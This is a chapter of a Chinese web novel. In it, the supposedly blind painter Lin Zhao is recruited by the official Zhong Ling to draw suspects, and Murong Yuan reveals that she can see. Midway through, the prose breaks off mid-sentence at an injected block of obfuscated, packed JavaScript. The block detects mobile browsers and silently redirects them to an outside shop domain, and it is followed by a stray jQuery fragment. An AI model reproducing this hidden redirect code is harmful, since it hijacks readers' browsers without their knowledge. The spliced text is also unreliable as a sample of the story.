林照最近书画摊的生意格外好。
大多是被盲女丹青的名号吸引而来的路人,也有少数原本对她的噱头不屑一顾的同行,在应天街亲眼看到她的画后,不得不认可了她的真才实学。更有些画师书生慕名而来,专程观摩学习她的作画。
摆摊之初,林照的设想很简单,就打算随意接几个单子,够养活自己租间屋子便好,却没想到自己的画作到了金陵,要比在临安时受欢迎得多,订单逐渐变得日日爆满。
林照起初还来者不拒,后来不得不搬出限制,每日限接五单,本以为能打消部分人的热情,没想到每日还没到开摊的时候,应天街上便排起了长队。
林照有时心软,听到有人说自家孩子走丢了,便会不顾接单的限制,免费帮他们画像。
一来二去的,名声倒越传越远,求画的队伍越来越长了。
手好酸啊......林照默默地揉揉肩膀,暗自决定今日画完便休摊几天,避一避人群。
钟灵终于注意到了六扇门门口的这出热闹,皱眉问护卫:“这女子是何时开始在门口摆摊的?”
护卫前日刚找林照为自家的狸奴画了小像,满意得不得了,殷勤解释道:“大人,林照姑娘是大约八月中旬来的,一开始也没见有什么生意,又看她可怜是个盲女,自食其力讨口饭吃罢了,大家也就默许了,没想到后来生意变得这么好。不过,大人若是觉得她在此处摆摊扰了官府清静,我这便让她另寻他处。”
护卫正心里暗暗盘算着,一会儿就把林照姑娘引去自家的铺面边上,还能带动一波生意,岂不美哉?
谁知钟灵只淡淡地留下一句“随她去吧”,便扬长而去。
最近这六扇门里,还真是不得安生,麻烦一个接一个地来。
“林姑娘,多谢你啊!我家小牧找到了!”一个抱着孩子的妇人穿过人群,挤到书画摊前面,对林照感恩戴德,不住道谢。
人群中响起一阵掌声和欢呼声。
林照莞尔道:“不必言谢,是夫人将孩子的一颦一笑都牢牢记下,我才能画出小牧的画像。”
“林姑娘,你就不必谦虚啦!咱们大伙可都有目共睹,寥寥几句描述,你落笔便能画得与那孩子一般无二,简直是妙手丹青,再世马良!”
人群里传来一阵附和声。
林照今日刚开摊,朝着人群朗声道:“诸位,今日还是老规矩,只接五单!若有寻人者想要画像,不必排队,优先上前!”
排上前五单的人喜笑颜开,迫不及待地候在一边,余下未能排上的也不着急离开,而是纷纷围着摊位,看林照铺开雪白的宣纸,再用镇纸压好,准备起颜料来。
林照的颜料调法很特殊,不仅是现磨现调的,而且林照仅凭气味,就能分辨出颜色。朱砂,石青,石绿,雌黄,铅白,依次排开。
她正准备询问第一位单主想画的内容和细节,从六扇门里匆匆跑出了一个捕快,大声喊道:“林姑娘!六扇门钟大人有请!”
人群见状为她让开了一条路,林照不动声色地拿起盲杖,跟着捕快走进了六扇门的大门。
留下书画摊旁的众人面面相觑,却又舍不得离开,放弃好不容易等来的位置。
六扇门内,会客厅。
“大人,林姑娘来了。”
钟灵正在修建会客厅里的一棵古松。古松的枝干遒劲修长,颇有留白的韵味,只是最近生出了多余的枝节。
咔嚓。咔嚓。钟灵修剪完了,满意地欣赏了一会儿,才幽幽回头,看向会客厅中央静静站着的林照。
只见她一袭白衣,眼缚白绫,手里拿着一根盲杖。
真是瞎子?
钟灵走到她跟前,缓缓开口道:“近日听闻林姑娘的画技巧夺天工,仅凭三言两语便能准确地绘出人物肖像,六扇门正好缺你这样的人才。不知你可愿意也来帮我六扇门,画一幅疑犯的画像?”
林照沉默着,没有吭声。
“怎么,林姑娘的画技,能帮农妇寻找丢失的孩童,能为鳏夫留下亡妻的笑貌,却不愿意帮我六扇门寻找恶贯满盈的嫌犯?”钟灵目光如炬,冷冷地盯着林照,似乎想透过那不透光的白绫,看清后面是怎样的一双眼睛。
“不敢。但听钟大人吩咐。”
“笔墨已经备好了,请吧。”说完,钟灵便向书房走去。
林照闻声跟了进去,摸索着找到了案边。
“本官要你画的,是醴泉山庄灭门案的疑凶。”
林照面不改色,没有停顿,执起了画笔。
窗外寒鸦三两只,安安静静地站在枝桠上,院子里的枫叶已经红了,在阳光的照耀下鲜红欲滴。
林照画完了最后一笔,举止如常。
钟灵静静地看着跃然纸上的“疑凶”,半晌没言语。
“大人,可还有事?外面百姓还在等我。”林照不卑不亢地提醒道。
“以后你便留下,负责为六扇门画像吧。”
林照压下心头的暗喜,接下了这份差事。不枉她这段时间费尽心思,手都快画断了。
等林照离开后,钟灵久久地站在书房内,看着案上施恩泽的画像,一身天青色的衣袖,两眼总是含着温润的笑,一如少年时。
最后撕成了粉碎。
“林照!”施为正在院子里和慕容渊一起搬陈年的卷宗,抬眼便瞧见林照从钟灵的书房里走出来。
林照听见施为的声音,顿住脚步,朝声音的方向转过头去。
她发间别着那支桂花木簪。
施为心头一颤,仿佛心上也盛开了几朵细小的桂花。
“你怎么在这里?”
“钟大人请我过来为一个疑凶画像。”
施为喜不自胜道:“可以啊,那你岂不就成了六扇门的编外人员?”
慕容渊默默看着林照紧紧握着盲杖的手,陷入深思。
“外面还有人正排着队在等我画稿,我就先走一步。”林照惦记着今日还一幅都未画,生怕又误了饭点,便无心多聊,忙着告辞。
施为刚准备送她,却被慕容
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631610|206375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
渊叫住,手上瞬间塞满了卷宗。施为没有防备,吃了一嘴灰,刚想问候一下慕容渊,就发现他已不在院子里了。
“林姑娘,请留步。”
林照听出了慕容渊的声音。
“在下有一点小小的疑问,还请林姑娘帮忙解惑。”
林照暗叫不好,慕容渊猛地揭开了林照缚眼的白绫。
林照一时不备,明亮的光线一下涌入,被强光刺痛,下意识地捂住了眼睛。
慕容渊冷冷问道:“这便是我的疑问,林姑娘,愿闻其详。”
林照遮着眼睛,不怒反笑,等到眼前不再一片模糊,才毫无惧色地看向慕容渊。
“我的确看得见。蒙眼......只是个人的一点兴趣爱好罢了,慕容公子,你待如何?”
“你故意接近施为,是为了醴泉山庄的案子吗?”
林照倒是没想到慕容渊这么快便猜出了施为的身份,在心里叹了口气。没想到这慕容渊在风雨亭吃了那么大一个亏,还是不长记性,这么爱多管闲事——不过,那药也确实不会长记性。
“不错。施庄主于我有恩,我这个人最怕欠人情,所以要帮施为一起查明真相,还了这个恩情。怎么,慕容公子是想说,施庄主也于你有恩?”
经过短暂的相处,林照其实慢慢减少了对慕容渊身份的怀疑。就像今日,若他真是青魔教的人,想要得到施为手中的《神龙卷》,又何必主动暴露他已知悉施为的身份,便是朝夕相对的方惟。
“不,我们并非同路人。只是我发觉,我们的调查对象,似乎,是同一个人。”慕容渊伸手递过了白绫,“不如考虑一下,与我合作。”
钟灵最近经常请林照登门为嫌犯画像,林照虽然蒙着眼,却也渐渐摸清了六扇门里的路线。
林照静静蛰伏,等待着时机的成熟。
“听说钟大人昨日一夜未归,又睡在书房里了。”
“钟大人真是勤勉啊,咱们六扇门有这样的大人在,真是金陵百姓的幸事!”
“不过他夫人可好长一段时间没来探过班啦,还记得以前隔段日子便要亲自送羹汤来,兄弟们都颇为羡慕呢!”
“嘘——你可小点声吧,留神丢了饭碗。你道大人常不归家是为何......”
碎嘴的捕快远远看到钟灵的身影,忙闭嘴干起活来。
林照跟在钟灵身后,一同走出了书房。
“林姑娘,慢走。”
这些时日下来,钟灵对林照虽然依旧提防不减,但面上不显,反而越发客气起来。
毕竟明面上看,林照的确靠自己的丹青妙手帮忙破了不少案子。这对钟灵的功绩是有好处的。
只是......钟灵总觉得林照与施恩泽有关。
林照能凭只言片语,把别人的画像画得入木三分,却唯独施恩泽的画像,少了一丝神韵。
是无心之举,还是刻意为之?
钟灵暂时还摸不透。不过,毕竟只是个瞎子,还是一介女流,想来也掀不起多大风浪。